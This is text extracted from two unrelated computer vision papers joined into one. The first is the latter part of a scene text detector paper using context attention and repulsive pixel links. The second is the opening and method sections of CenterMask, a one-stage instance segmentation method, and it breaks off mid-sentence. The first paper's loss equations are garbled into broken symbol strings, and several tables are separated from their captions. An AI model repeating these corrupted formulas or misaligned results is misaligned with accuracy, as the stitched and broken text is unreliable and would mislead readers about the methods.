select negative pixels and adopt the weighted cross-entropy 
loss to supervise pixel classification: 
                          𝐿𝐿 𝐷 

()
𝑊𝑊𝐿𝐿_,                     (16) 

where 𝐿𝐿_  is the cross-entroy loss on text/non-text 
prediction, 𝑟𝑟 is the negative-positive ratio and is set to 3. 𝐷𝑆𝑆 
is the total number of the positive pixels. 𝑊𝑊 is pixel weight 
matrix. For the negative pixels, their weights are set to 1.0, 
and for each positive pixel 𝑎𝑎, its weight is calculated as: 
                                     𝑤𝑤 𝐷 

∙
,               (17) 

where 𝑁𝑁 is the number of text instances, 𝑆𝑆 is the number of 
pixels of the text instance that the positive pixel lies in. 

Given predictions on pixels, affinity links and repulsive 

 

links, three different thresholds are applied to them. The 
pixel above the pixel threshold is regarded as positive. The 
link between two neighbor pixels is regarded as positive if 
the affinity link score is above the affinity link threshold 
and the repulsive link score is below the repulsive link 
threshold. Positive pixels are then grouped together using 
positive links, resulting in a collection of text instances. 

4. Experiments 
We evaluate our method on four public datasets: MSRA-

TD500 [52], ICDAR2015[15], ICDAR2017-MLT [37] and 
CTW1500 [29], and compare it with several state-of-art 
methods. 

4.1. Datasets 

SynthText [6] is a synthetically generated dataset 
containing 800 thousand images and about 8 million word 
instances. It is created by blending natural images with texts 
of random sizes and fonts. We only use the dataset for pre-
training our network. 

MSRA-TD500 [52] includes 300 training images and 
200 test images collected from natural scenes. It is a dataset 
with multilingual, arbitrary-oriented and long text lines. 

ICDAR2015 [15] is the most commonly used 
benchmark for detecting scene text in arbitrary directions. 
It contains 1000 training images and 500 testing images. 
The images are collected by Google Glass without taking 
care of positioning, image quality, and viewpoint. 
Therefore, text in these images is of various scales, 
orientations, contrast, blurring, and viewpoint, making it 
challenging for detection. Annotations are provided as 
word quadrilaterals. 

ICDAR2017-MLT [37] is a large-scale multilingual text 
dataset, which includes 7200 training images, 1800 
validation images and 9000 test images. The dataset 

Figure 3. An illustration of affinity and repulsive pixel link. 
Green lines in (a) and (b) denote positive affinity and 
repulsive pixel links, respectively; red lines in (a) and (b) 
denote negative affinity and repulsive pixel links, 
respectively. 
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consists of scene text images which come from 9 languages.  
Image annotations are labeled as word-level quadrangles. 

CTW1500 [29] is a recent challenging dataset for curve 
text detection. It has 1000 training images and 500 testing 
images with over 10 thousand text annotations. Text 
instances are annotated by 14 vertices of polygons. 

4.2. Implementation Details 

We pre-train our network on SynthText and then finetune 
it on the real datasets. The models are optimized by SGD 
with momentum = 0.9. For training, images are resized to 
512*512 after random cropping. Batch size is set to 12 
owing to the GPU memory limitation and the learning rate 
is fixed to 1e-4 and set to 1e-5 for the last several epochs. 
VGG16 is used as the backbone of our network. Thresholds 
on pixel and links are crucial for detecting performance. We 
find the thresholds for each dataset via a grid search with 
0.05 step on a hold-out validation set. The whole algorithm 
is implemented in Tensorflow 1.8.0 and pure Python. 

4.3. Ablation Study 

To verify the effectiveness of our design, we conduct all 
experiments of ablation studies on the ICDAR2015 dataset 
(an oriented text dataset) and CTW1500 dataset (a curved 
text dataset). The scale of test image for ICDAR2015 and 
CTW1500 is 1280x768. 

Baseline. We implement the method with no context 
attention and only affinity pixel link as our baseline method. 

Context Attention. We implement the model with 
context attention and only affinity pixel link. Considering 
that there are three modules in context attention, we 
implement three models: GA, GA+NL, GA+NL+SA. From 
Tab. 1, the GA achieves 2.2% improvement on 
ICDAR2015 and 1.5% improvement on CTW1500 than 
baseline; the GA+NL achieves 0.5% improvement on 
ICDAR2015 and 1.4% improvement on CTW1500 than 
GA; the GA+NL+SA achieves 0.9% improvement on 
ICDAR2015 and 1.1% improvement on CTW1500 than 
GA+NL. The results demonstrate that the attention modules 
used in context attention are all useful. Overall, the model 
with context attention makes 3.6% improvement on 
ICDAR2015 and 4.0% improvement on CTW1500. 

The effectiveness of repulsive link. To investigate the 
effectiveness of repulsive link, we implement the model 
(GA+NL+SA+RL) with context attention and the affinity 
and repulsive link. From Tab. 1, the model with repulsive 
link achieves 0.4% improvement on ICDAR2015 and 0.7% 
improvement on CTW1500, in comparison to the model 
without repulsive link (GA+NL+SA). 

4.4. Results on Scene Text Benchmarks 

Long straight text detection. We evaluate the 
performance of our method on MSRA-TD500, which cont- 

Table 1. Ablation experiments of validating the 
effectiveness of different modules on ICDAR2015 and 
CTW1500 dataset. “GA” means global attention, “GA+NL” 
means global attention + non-local self-attention, 
“GA+NL+SA” means context attention, “GA+NL+SA+RL” 
means context attention + repulsive link. 
 
ains multi-lingual, arbitrary-oriented and long text lines. 
Images are resized to 768x768 for testing. Thresholds of 
text pixel, affinity pixel link and repulsive pixel link are set 
to (0.9, 0.85, 0.8). As shown in Tab. 2, our method achieves 
F-measure of 86.1%, which is better than all the other 
methods. The results also demonstrate the advantages of 
our method for dealing with long text lines. Some of the 
detection results are visualized in Fig. 4(a). 

Oriented text detection. We evaluate our method on the 
ICDAR 2015 to test its ability of detecting oriented text. 
Thresholds of text pixel, affinity pixel link and repulsive 
link are set to (0.85,0.85,0.8). We use a single scale of 
1280x768 for test images and achieve 90.0, 85.1 and 87.5 
in precision, recall and F-measure, respectively. As shown 
in Tab. 3, except for the end-to-end method FOTS which 
combines text detection and recognition, our method 
outperforms the state-of-art methods. Also note that the 
very high precision (90.0%) is obtained, which verifies that 
our method can suppress false positives effectively. Some 
of the detection results are visualized in Fig. 4(b). 

Multilingual text detection. To verify the 
generalization ability of our method on multilingual scene 
text detection, we evaluate our method on ICDAR2017-
MLT. We use a single scale of 1536x1536 for test images. 
The 7200 training images are used for training and the 1800 
validation images are used for selecting the models and 
thresholds. Thresholds of text pixel, affinity link and 
repulsive link are set to (0.9,0.45,0.8). We achieve an F-
measure of 75.3%, which is comparable to the best reported 
result in literature. Some of the detection results are 
visualized in Fig.  4(c). 

Curved text detection. We evaluate the ability of our 
model to detect curved text on CTW1500 dataset. Our 
method can be flexibly applied to curved text without 
special modifications. The only modification lies in the 
interface of reading text polygons with 14 vertices. We use 
a single scale of 1280x768 for test images. Thresholds of 
text pixel, affinity link and repulsive link are set to 

Method ICDAR2015 CTW1500 
P R F P R F 

Baseline 85.1 82.0 83.5 81.1 73.9 77.3 
GA 87.5 83.9 85.7 82.8 75.1 78.8 
GA+NL 88.0 84.5 86.2 83.9 76.8 80.2 
GA+NL+ 
SA 89.7 84.6 87.1 85.3 77.7 81.3 

GA+NL+ 
SA+RL 

90.0 85.1 87.5 85.8 78.6 82.0 
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(0.75,0.8,0.8). As shown in Tab. 5, our method achieves the 
state-of-the-art results and outperforms some existing 
methods such as TextSnake [30] and LOMO [55]. Some of 
the detection results are visualized in Fig. 4(d). 

Table 2. Quantitative results of different methods on 
MSRA-TD500 (long straight text) dataset. Our method 
achieves the best performance over all the other methods, 
showing the advantages of dealing with long text lines. 
 

Table 3. Quantitative results of different methods on 
ICDAR 2015 (oriented text) dataset. Except for the end-
to-end method FOTS, our method outperforms all the other 
methods. 

Table 4. Quantitative results of different methods on 
ICDAR2017-MLT (multilingual text) dataset. MS means 
multi-scale testing. 
 

Table 5. Quantitative results of different methods on 
CTW1500 (curved text) dataset. 

5. Conclusion and Future Work 
In this paper, we propose an accurate segmentation-

based scene text detector with context attention and 
repulsive text border. We design an effective attention 
mechanism to better exploit the context information by 
sequentially applying global attention, non-local self-
attention and spatial attention. The context is helpful for 
reducing local ambiguities for pixel classification, which 
can greatly reduce false positives and the misdetections of 

Method Precision Recall F-measure 

RRPN [34] 82.0 68.0 74.0 

SegLink [43] 86.0 70.0 77.0 

PixelLink [3] 83.0 73.2 77.8 

Lyu et al. [33] 87.6 76.2 81.5 

MCN [27] 88.0 79.0 83.0 

PAN [48] 84.4 83.8 84.1 

OURS 88.8 83.5 86.1 

Method Precision Recall F-measure 

SegLink[43] 73.1 76.8 75.0 

RRPN[34] 84.0 77.0 80.0 

EAST[59] 83.3 78.3 80.7 

TextBoxes++ [20] 87.2 76.7 81.7 

TextSnake [30] 84.9 80.4 82.6 

PixelLink [3] 85.5 82.0 83.7 

PSENet-1s [18] 86.9 84.5 85.7 

Mask Textspotter 
[32] 

91.6 81.0 86.0 

LOMO [55] 91.3 83.5 87.2 

SPCNet [50] 88.7 85.8 87.2 

FOTS [26] - - 88.0 

OURS 90.0 85.1 87.5 

Method Precision Recall F-measure 

E2E-MLT [38] 64.6 53.8 58.7 

He et al. [12] 76.7 57.9 66.0 

Lyu et al. [33] 83.8 56.6 66.8 

FOTS [26] 81.0 57.5 67.3 

Border [51] 77.7 62.1 69.0 

AF-RPN [58] 75.0 66.0 70.0 

PSENet-1s [18] 77.0 68.4 72.5 

LOMO MS [55] 80.2 67.2 73.1 

SPCNet [50] 80.6 68.6 74.1 

OURS 83.7 68.4 75.3 

Method Precision Recall F-measure 

SegLink [43] 42.3 40.0 40.8 

EAST [59] 78.7 49.1 60.4 

CTD [29] 74.3 65.2 69.5 

CTD+TLOC [29] 77.4 69.8 73.4 

TextSnake [30] 67.9 85.3 75.6 

LOMO MS [55] 85.7 76.5 80.8 

PSENet-1s [18] 84.8 79.7 82.2 

OURS 85.8 78.6 82.0 
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long text lines. To further solve the very close text instance, 
we propose to learn an extra repulsive pixel link that 
explicitly represents the relationship between pixels located 
at text border. The robustness and effectiveness of our 
approach are verified on several public benchmarks 
including long, curved, oriented and multilingual text cases. 
In the future, we would like to further focus on the text 
border and develop a two-stream segmentation network to 
simultaneously learn text pixels and text boundaries. 
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Abstract

In this paper, we propose a single-shot instance segmen-
tation method, which is simple, fast and accurate. There
are two main challenges for one-stage instance segmen-
tation: object instances differentiation and pixel-wise fea-
ture alignment. Accordingly, we decompose the instance
segmentation into two parallel subtasks: Local Shape pre-
diction that separates instances even in overlapping con-
ditions, and Global Saliency generation that segments the
whole image in a pixel-to-pixel manner. The outputs of
the two branches are assembled to form the final instance
masks. To realize that, the local shape information is
adopted from the representation of object center points. To-
tally trained from scratch and without any bells and whis-
tles, the proposed CenterMask achieves 34.5 mask AP with
a speed of 12.3 fps, using a single-model with single-scale
training/testing on the challenging COCO dataset. The ac-
curacy is higher than all other one-stage instance segmen-
tation methods except the 5 times slower TensorMask, which
shows the effectiveness of CenterMask. Besides, our method
can be easily embedded to other one-stage object detectors
such as FCOS and performs well, showing the generation
of CenterMask.

1. Introduction
Instance segmentation [11] is a fundamental and chal-

lenging computer vision task, which requires to locate, clas-
sify, and segment each instance in the image. Therefore,
it has both the characters of object detection and semantic
segmentation. State-of-the-art instance segmentation meth-
ods [12, 21, 14] are mostly built on the advances of two-
stage object detectors [9, 8, 26]. Despite the popular trend
of one-stage object detection [13, 25, 22, 17, 27, 30], only
a few works[1, 2, 28, 7] are focusing on one-stage instance
segmentation. In this work, we aim to design a simple one-
stage and anchor-box free instance segmentation model.

Instance segmentation is much harder than object detec-
tion because the shapes of instances are more flexible than
the two-dimensional bounding boxes. There are two main

point representation 

Local Shape Global Saliency 

Assembly

Figure 1: Illustration of CenterMask. The Local Shape
branch separates objects locally and the Global Saliency
Map realizes pixel-wise segmentation of the whole image.
Then the coarse but instance-aware local shape and the pre-
cise but instance-unaware global saliency map are assem-
bled to form the final instance mask.

challenges for one-stage instance segmentation: (1) how to
differentiate object instances, especially when they are in
the same category. Some methods [3, 1] extract the global
features of the image firstly then post-process them to sep-
arate different instances, but these methods struggle when
objects overlap. (2) how to preserve pixel-wise location
information. State-of-the-art methods represent masks as
structured 4D tensors [2] or contour of fixed points [28], but
still facing the pixel misalignment problem, which makes
the masks coarse at the boundary. TensorMask [2] designs
complex pixel align operations to fix this problem, which
makes the network even slower than the two-stage counter-
parts.

To address these issues, we propose to break up the mask
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Figure 2: Results of CenterMask on COCO test set images. These results are based on Hourglass-104 backbone, achieving
a mask AP of 34.5 and running at 12.3 fps. Our method differentiates objects well in overlapping conditions with precise
masks.

representation into two parallel components: (1) a Local
Shape representation that predicts a coarse mask for each
local area, which can separate different instances automat-
ically. (2) a Global Saliency Map that segment the whole
image, which can provide saliency details, and realize pixel-
wise alignment. To realize that, the local shape information
is extracted from the point representation at object centers.
Modeling object as its center point is motivated by the one-
stage CenterNet [30] detector, thus we call our method Cen-
terMask.

The illustration of the proposed CenterMask is shown in
Figure 1. Given an input image, the object center point loca-
tions are predicted following a keypoint estimation pipeline.
Then the feature representation at the center point is ex-
tracted to form the local shape, which is represented by a
coarse mask that separates the object from close ones. In
the meantime, the fully convolutional backbone produces a
global saliency map of the whole image, which separates
the foreground from the background at pixel level. Finally,
the coarse but instance-aware local shapes and the precise
but instance-unaware global saliency map are assembled to
form the final instance masks.

To demonstrate the robustness of CenterMask and ana-
lyze the effects of its core factors, extensive ablation ex-
periments are conducted and the performance of multiple
basic instantiations are compared. Visualization shows that
the CenterMask with only Local Shape branch can sepa-
rate objects well, and the model with only Global Seliency
branch performs good enough in objects-non-overlapping
situations. In complex and objects-overlapping situations,
combination of these two branches differentiates instances
and realizes pixel-wise segmentation simultaneously. Re-
sults of CenterMask on COCO [20] test set images are
shown in Figure 2.

In summary, the main contributions of this paper are as
follows:

• An anchor-box free and one-stage instance segmenta-
tion method is proposed, which is simple, fast and ac-

curate. Totally trained from scratch and without any
bells and whistles, the proposed CenterMask achieves
34.5 mask AP with a speed of 12.3 fps on the challeng-
ing COCO, showing the good speed-accuracy trade-
off. Besides, the method can be easily embedded to
other one-stage object detectors such as FCOS[27] and
performs well, showing the generation of CenterMask.

• The Local Shape representation of object masks is pro-
posed to differentiate instances in the anchor-box free
condition. Using the representation of object center
points, the Local Shape branch predicts coarse masks
and separate objects effectively even in the overlapping
situations.

• The Global Saliency Map is proposed to realize pixel-
wise feature alignment naturally. Different from pre-
vious feature align operations for instance segmenta-
tion, this module is simpler, faster, and more precise.
The Global Saliency generation acts similar to seman-
tic segmentation [23], and hope this work can motivate
one-stage panoptic segmentation [16] in the future.

2. Related Work

Two-stage Instance Segmentation: Two-stage instance
segmentation method often follows the detect-then-segment
paradigm, which first performs bounding box detection and
then classifies the pixels in the bounding box area to obtain
the final mask. Mask R-CNN [12] extends the successful
Faster R-CNN [26] detector by adding a mask segmenta-
tion branch on each Region of Interest area. To preserve the
exact spatial locations, it introduces the RoIAlign module
to fix the pixel misalignment problem. PANet [21] aims to
improve the information propagation of Mask R-CNN by
introducing bottom-up path augmentation, adaptive feature
pooling, and fully-connected fusion. Mask Scoring R-CNN
[14] proposes a mask scoring module instead of the classi-
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Figure 3: Overall pipeline of CenterMask. There are five heads after the backbone network. The outputs of the heads are
with the same height (H) and width (W) but different channels. C is the number of categories, and S2 is the size of shape
vector. The Heatmap and Offset heads predict the center point locations. The Shape and Size heads predict the Local Shapes
at the corresponding locations. The Saliency head predicts a Global Saliency Map. The Local Shape and cropped Saliency
Map are multiplied to form the final mask for each instance. For visualization convenience, the whole segmentation pipeline
for only two instances is shown in the figure, and the Global Saliency Map is visualized in the class-agnostic form.

fication score to evaluate the mask, which can improve the
quality of the segmented mask.

Although two-stage instance segmentation methods
achieve state-of-the-art performance, these models are of-
ten complicated and slow. Advances of one-stage object de-
tection motivate us to develop faster and simpler one-stage
instance segmentation methods.

One-stage Instance Segmentation: State-of-the-art
one-stage instance segmentation methods can be roughly
divided into two categories: global-area-based and local-
area-based approaches. Global-area-based methods first
generate intermediate and shared feature maps based on the
whole image, then assemble the extracted features to form
the final masks for each instance.

InstanceFCN [3] utilizes FCN [23] to generate multi-
ple instance-sensitive score maps which contain the rela-
tive positions to objects instances, then applies an assem-
bling module to output object instances. YOLACT [1] gen-
erates multiple prototype masks of the global image, then
utilizes per-instance mask coefficients to produce the in-
stance level mask. Global-area-based methods can main-
tain the pixel-to-pixel alignment which makes masks pre-
cise, but performs worse when objects overlap. In contrast
to these methods, local-area-based methods output instance
masks on each local region directly. PolarMask [28] repre-

sents mask in its contour form and utilizes rays from the
center to describe the contour, but the polygon surrounded
by the contour can not depict the mask precisely and can
not describe objects that have holes in the center. Tensor-
Mask [2] utilizes structured 4D tensors to represent masks
over a spatial domain, it also introduces aligned represen-
tation and tensor bipyramid to recover spatial details, but
these align operations make the network even slower than
the two-stage Mask R-CNN [12].

Different from the above approaches, CenterMask con-
tains both a Global Saliency generation branch and a Local
Shape prediction branch, and integrates them to preserve
pixel alignment and separate objects simultaneously.

3. CenterMask
The goal of this paper is to build a one-stage instance

segmentation method. One-stage means that there is no
pre-defined Region-of-Interests (RoIs) for mask prediction,
which requires to locate, classify, and segment objects si-
multaneously. To realize that, we break the instance seg-
mentation into two simple and parallel sub-tasks, and as-
semble the results of them to form the final masks. The
first branch predicts coarse shape from the center point rep-
resentation of each object, which can constrain the local
area for each object and differentiate instances naturally.
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Figure 4: Architecture of the shape head and size head
for Local Shape prediction. P represents the feature maps
extracted by the backbone network. H and W represents the
height and width of the head outputs. The channel size of
the shape head is SxS, and the channels of the size head is
2, with h and w being the predicted height and width for the
object at the point.

The second branch predicts a saliency map of the whole
image, which realizes precise segmentation and preserves
exact spatial locations. In the end, the mask for each in-
stance is constructed by multiplying the outputs of the two
branches.

3.1. Local Shape Prediction

To differentiate instances at different locations, we
choose to model the masks from their center points. The
center point is defined as the center of the surrounding
bounding box for each object. A natural thought is to rep-
resent it by the extracted image feature at the center point
location, but a fixed-size image feature can not represent
masks in various sizes. To address this issue, we decom-
pose the object mask into two components: the mask size
and the mask shape. The size for each mask can be repre-
sented by the object height and width, and the shape can be
described by a 2D binary array of fixed size.

The above two components can be predicted in parallel
using fixed-size representations of the center points. The
architecture of the two heads is shown in Figure 4. P rep-
resents the image features extracted by the backbone net-
work. Let Fshape ∈ RH×W×S2

be the output of the Lo-
cal Shape head, with H and W represent the height and
width of the whole map, and S2 represents the number of
output channels for this head. The output of the Size head
Fsize ∈ RH×W×2 is in the same height and width, with a
channel size of two.

For a center point (x, y) at the feature map, the shape
feature at this location is extracted by Fshape(x, y). The
shape vector is in the size of 1×1×S2, and then be reshaped
to a 2D shape array of size S×S. The size prediction of the
center point is Fsize(x, y), with the height and width being
h and w. The above 2D shape array is then resized to the
size of h× w to form the final local shape prediction.

For convenience, the Local Shape Prediction branch is
used to refer to the combination of the shape and size heads.
This branch produces masks from local point representa-
tion, and predicts a local area for each object, which makes
it suitable for instance differentiation.

3.2. Global Saliency Generation

Although the Local Shape branch generates a mask for
each instance, it is not enough for precise segmentation. As
the fixed-size shape vector can only predict a coarse mask,
resizing and warping it to the object size losses spatial de-
tails, which is a common problem for instance segmenta-
tion. Instead of relying on complex pixel calibration mech-
anism [12, 2], we design a simpler and faster approach.

Motivated by semantic segmentation [23] which makes
pixel-wise predictions on the whole image, we propose to
predict a Global Saliency Map to realize pixel level feature
alignment. The Map aims to represent the salience of each
pixel in the whole image, i.e., whether the pixel belonging
to an object area or not.

Utilizing the fully convolutional backbone, the Global
Saliency branch performs the segmentation on the whole
image in parallel with the existing Local Shape branch. Dif-
ferent from semantic segmentation methods which utilize
softmax function to realize pixel-wise competition among
object classes, our approach uses sigmoid function to per-
form binary classification. The Global Saliency Map can
be class-agnostic or class-specific. In the class-agnostic set-
ting, only one binary map is produced to indicate whether
the pixels belonging to the foreground or not. For the class-
specific setting, the head produces a binary mask for each
object category.

An example of Global Saliency Map is shown in the top
of Figure 3, using the class-agnostic setting for visualiza-
tion convenience. As can be seen in the figure, the map
highlights the pixels that have saliency, and achieves pixel-
wise alignment with the input image.

3.3. Mask Assembly

In the end, the Local Shapes and Global Saliency Map
are assembled together to form the final instance masks.
The Local Shape predicts the coarse area for each instance,
and the cropped Saliency Map realizes precise segmenta-
tion in the coarse area. Let Lk ∈ Rh×w represent the Local
Shape for one object, and Gk ∈ Rh×w be the correspond-
ing cropped Saliency Map. They are in the same size of the
predicted height and width.

To construct the final mask, we firstly transform their
values to the range of (0,1) using the sigmoid function, then
calculate the Hadamard product of the two matrices:

Mk = σ(Lk)� σ(Gk) (1)

There is no separate loss for the Local Shape and Global
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Saliency branch, instead, all supervision comes from the
loss function of the assembled mask. Let Tk denote the
corresponding ground truth mask, the loss function of the
final masks is :

Lmask =
1

N

N∑
k=1

Bce(Mk, Tk) (2)

where Bce represents the pixel-wise binary cross entropy,
and N is the number of objects.

3.4. Overall pipeline of CenterMask

The overall architecture of CenterMask is shown in Fig-
ure 3. The Heatmap head is utilized to predict the positions
and categories for center points, following a typical key-
point estimation[24] pipeline. Each channel of the output
is a heatmap for the corresponding category. Obtaining the
center points requires to search the peaks for each heatmap,
which are defined as the local maximums within a window.
The Offset head is utilized to recover the discretization error
caused by the output stride.

Given the predicted center points, the Local Shapes for
these points are calculated by the outputs of the Shape head
and the Size head at the corresponding locations, following
the approach in Section 3.1. The Saliency head produces
the Global Saliency Map. In the class-agnostic setting, the
output channel number is 1, the Saliency map for each in-
stance is obtained by cropping it with the predicted loca-
tion and size. In the class-specific setting, the channel of
the corresponding predicted category is cropped. The final
masks are constructed by assembling the Local Shapes and
the Saliency Map.

Loss function: The overall loss function is composed of
four losses: the center point loss, the offset loss, the size
loss, and the mask loss. The center point loss is defined
in the same way as the Hourglass network [24], let Ŷijc

be the score at the location (i,j) for class c in the predicted
heatmaps, and Y be the “ground-truth” heatmap. The loss
function is a pixel-wise logistic regression modified by the
focal loss [19]:

Lp =
−1

N

∑
ijc

{
(1− Ŷijc)

α log (Ŷijc) if Yijc = 1

(1− Yijc)
β(Ŷijc)

α log (1− Ŷijc) otherwise
(3)

where N is the number of center points in the image, α
and β are the hyper-parameters of the focal loss; The off-
set loss and size loss follow the same setting of CenterNet
[30], which utilize L1 loss to penalize the distance. Let Ô
represent the predicted offset, p represent the ground truth
center point, and R represents the output stride, then the
low-resolution equivalent of p is p̃ = � p

R�, therefore the
offset loss is:

Loff =
1

N

∑
p

∣∣∣Ôp̃ − (
p

R
− p̃)

∣∣∣ (4)

Let the true object size be Sk = (h,w), the predicted size
be Ŝk = (ĥ, ŵ), then the size loss is:

Lsize =
1

N

N∑
k=1

∣∣∣Ŝk − Sk

∣∣∣ (5)

The overall training objective is the combination of the four
losses:

Lseg = λpLp+λoffLoff+λsizeLsize+λmaskLmask (6)

where the mask loss is defined in Equation 2, λp, λoff ,
λsize and λmask are the coefficients of the four losses re-
spectively.

3.5. Implementation Details

Train: Two backbone networks are involved to evaluate
the performance of CenterMask: Hourglass-104 [24] and
DLA-34 [29]. S equals 32 for the shape vector. λp, λoff

and λsize, λmask are set to 1,1,0.1,1 for the loss function.
The input resolution is fixed with 512 × 512. All models
are trained from scratch, using Adam [15] to optimize the
overall objects. The models are trained for 130 epochs, with
an initial learning rate of 2.5e-4 and dropped 10× at 100
and 120 epoch. As our approach directly makes use of the
same hyper-parameters of CenterNet [30], we argue that the
performance of CenterMask can be improved further if the
hyper-parameters are optimized for it correspondingly.

Inference: During testing, no data augmentation and no
NMS is utilized, only returning the top-100 scoring points
with the corresponding masks. The binary threshold for the
mask is 0.4.

4. Experiments
The performance of the proposed CenterMask is eval-

uated on the MS COCO instance segmentation benchmark
[20]. The model is trained on the 115k trainval35k im-
ages and tested on the 5k minival images. Final results
are evaluated on 20k test-dev.

4.1. Ablation Study

A number of ablation experiments are performed to ana-
lyze CenterMask. Results are shown in Table 1.

Shape size Selection: Firstly, the sensitivity of our ap-
proach to the size of the Local Shape representation is ana-
lyzed in Table 1a. Larger shape size brings more gains, but
the difference is not large, indicating that the Local Shape
representation is robust to the feature size. When S equals
32, the performance saturates, therefore we use the number
as the default Shape size.

Backbone Architecture: Results of CenterMask with
different backbones are shown in Table 1b. The large Hour-
glass brings about 1.4 gains compared with the smaller
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S AP AP50 AP75 APS APM APL

24 32.0 52.8 33.8 14.0 36.3 48.5
32 32.5 53.6 33.9 14.3 36.3 48.7
48 32.5 53.4 34.1 13.8 36.6 49.0

(a) Size of Shape: Larger shape size brings more gains. Perfor-
mance saturates when S equals 32. Results are based on DLA-34.

Backbone AP AP50 AP75 APS APM APL FPS
DLA-34 32.5 53.6 33.9 14.3 36.3 48.7 25.2
Hourglass-104 33.9 55.6 35.5 16.1 37.8 49.2 12.3

(b) Backbone Architecture: FPS represents frame-per-second.
The Hourglass-104 backbone brings 1.4 gains compared with
DLA-34, but its speed is more than 2 times slower.

Shape AP AP50 AP75 APS APM APL

w/o 21.7 44.7 18.3 9.8 24.0 31.8
w 31.5 53.7 32.4 15.1 35.5 45.5

(c) Local Shape branch: Comparison of CenterMask with or
without Local Shape branch.

Saliency AP AP50 AP75 APS APM APL

w/o 26.5 51.8 24.5 12.7 29.8 38.2
w 31.5 53.7 32.4 15.1 35.5 45.5

(d) Global Saliency branch: Comparison of CenterMask with or
without Global Saliency branch.

AP AP50 AP75 APS APM APL

Class-Agnostic 31.5 53.7 32.4 15.1 35.5 45.5
Class-Specific 33.9 55.6 35.5 16.1 37.8 49.2

(e) Class-Agnostic vs. Class-Specific: Comparison of the class-
agnostic and class-specific setting of Global Saliency branch.

AP AP50 AP75 APS APM APL

w/o 33.9 55.6 35.5 16.1 37.8 49.2
w 34.4 55.8 36.2 16.1 38.3 50.2

(f) Direct Saliency supervision: Comparison of CenterMask with
or without direct Saliency supervision.

Table 1: Ablation experiments of CenterMask. All models are trained on trainval35k and tested on minival, using
the Hourglass-104 backbone unless otherwise noted.

g

(a) Results of CenterMask in Shape-only set-
ting. The Local Shape branch seperates instances
with coarse masks.

(b) Results of CenterMask in Saliency-only set-
ting. The Global Saliency branch performs well
when there are no overlap between objects.

compare

(c) Comparison of CenterMask results in challenging conditions. Images form left
to right are generated by: Shape-only, Saliency-only and the combination of the two
branches.

Figure 5: Images generated by CenterMask in different settings. The Saliency branch is in class-agnostic setting for this
experiment.
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Method Backbone Resolution FPS AP AP50 AP75 APS APM APL

two-stage
MNC [4] ResNet-101-C4 - 2.78 24.6 44.3 24.8 4.7 25.9 43.6
FCIS [18] ResNet-101-C5-dilated multi-scale 4.17 29.2 49.5 - 7.1 31.3 50.0
Mask R-CNN [12] ResNeXt-101-FPN 800×1333 8.3 37.1 60.0 39.4 16.9 39.9 53.5
one-stage
ExtremeNet [31] Hourglass-104 512×512 3.1 18.9 44.5 13.7 10.4 20.4 28.3
TensorMask [2] ResNet-101-FPN 800×1333 2.63 37.3 59.5 39.5 17.5 39.3 51.6
YOLACT [1] ResNet-101-FPN 700×700 23.6 31.2 50.6 32.8 12.1 33.3 47.1
YOLACT-550 [1] ResNet-101-FPN 550×550 33.5 29.8 48.5 31.2 9.9 31.3 47.7
PolarMask [28] ResNeXt-101-FPN 768×1280 10.9 32.9 55.4 33.8 15.5 35.1 46.3
CenterMask DLA-34 512×512 25.2 33.1 53.8 34.9 13.4 35.7 48.8
CenterMask Hourglass-104 512×512 12.3 34.5 56.1 36.3 16.3 37.4 48.4

Table 2: Instance segmentation mask AP on COCO test-dev. Resolution represents the image size of training. We
show single scale testing for most models. Frame-per-second (FPS) were measured on the same machine whenever possible.
A dash indicates the data is not available.

DLA-34 [29]. The model with DLA-34 [29] backbone re-
alizes 32.5 mAP with 25.2 FPS, achieving a good speed-
accuracy trade-off.

Local Shape branch: The comparison of CenterMask
with or without Local Shape branch is shown in Table 1c,
with Saliency branch in class-agnostic setting. The Shape
branch brings about 10 gains. Moreover, CenterMask with
only the Shape branch achieves 26.5 AP (as shown in the
first row of Table 1d), images generated by this model are
shown in Figure 5a. Each image contains multiple objects
with dense overlaps, the Shape branch can separate them
well with coarse masks. The above results illustrate the ef-
fectiveness of the proposed Local Shape branch.

Global Saliency branch: The comparison of Center-
Mask with or without Global Saliency branch is shown in
Table 1d, introduction of the Saliency branch improves 5
points, compared with model with only Local Shape branch.

We also conduct visualization to CenterMask with only
Saliency branch. As shown in Figure 5b, there is no overlap
between objects in these images. The Saliency branch per-
forms good enough for this kind of situation by predicting
precise mask for each instance, indicating the effectiveness
of this branch for pixel-wise alignment.

Moreover, the two settings of the Global Saliency branch
are compared in Table 1e. The class-specific setting
achieves 2.4 points higher than the class-agnostic counter-
part, showing that the class-specific setting can help sepa-
rate instances from different categories better.

For the class-specific version of Global Saliency branch,
a binary cross-entropy loss is added to supervise the branch
directly besides the mask loss Eq. (2). The comparison of
CenterMask with or without the new loss is shown in Ta-
ble 1f, direct supervision brings 0.5 points.

Combination of Local Shape and Global Saliency:
Although the Saliency branch performs well in non-

overlapping situations, it can not handle more complex im-
ages. We conduct the comparison of Shape-only, Saliency-
only and the Combination of both in challenging conditions
of instance segmentation. As shown in Figure 5c, objects
overlap exists in these images. In the first column, the
Shape branch separates different instances well, but the pre-
dicted masks are coarse. In the second column, the Saliency
branch realizes precise segmentation but fails in the over-
lapping situations, which results in obvious artifacts on the
overlapping area. CenterMask with both branches inher-
its their merits and avoid their weakness. As shown in the
last column, overlapped objects are separated well and seg-
mented precisely simultaneously, illustrating the effective-
ness of our proposed model.

4.2. Comparison with state-of-the-art

In this section, we compare CenterMask with the state-
of-the-art instance segmentation methods on the COCO[20]
test-dev set.

As a one-stage instance segmentation method, our model
follows a simple setting to perform the comparison: totally
trained from scratch without pre-trained weights[6] for the
backbone, using a single model with single-scale training
and testing, and inference without any NMS.

As shown in Table 2, two models achieve higher AP
than our method: the two-stage Mask R-CNN and the one-
stage TensorMask, but their speed is 4 fps and 5 times
slower than our largest model respectively. We think the
gaps arise from the complicated and time-consuming fea-
ture align operations. Compared with the most accurate
model of YOLACT [1], CenterMask with DLA-34 back-
bone achieves a higher AP with a faster speed. Com-
pared with PolarMask [28], CenterMask with hourglass-
104 backbone is 1.6 point higher with a faster speed.

Figure 6 shows the visualization of the results generated
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Mask R-CNN YOLACT PolarMask OursOriginal

(a)

(b)

(c)

(d)

Figure 6: Visualization comparison of three different instance segmentation methods. From left to right are the results
of : Original image, Mask R-CNN, YOLACT, PolarMask, and our method on COCO minival images.

by the state-of-the-art models, only comparing the ones that
have released code. Mask R-CNN [12] detects objects well,
but there are still artifacts in the masks, such as the heads
of the two people in (a), we suppose it is caused by feature
pooling. The YOLACT [1] segments instance precisely, but
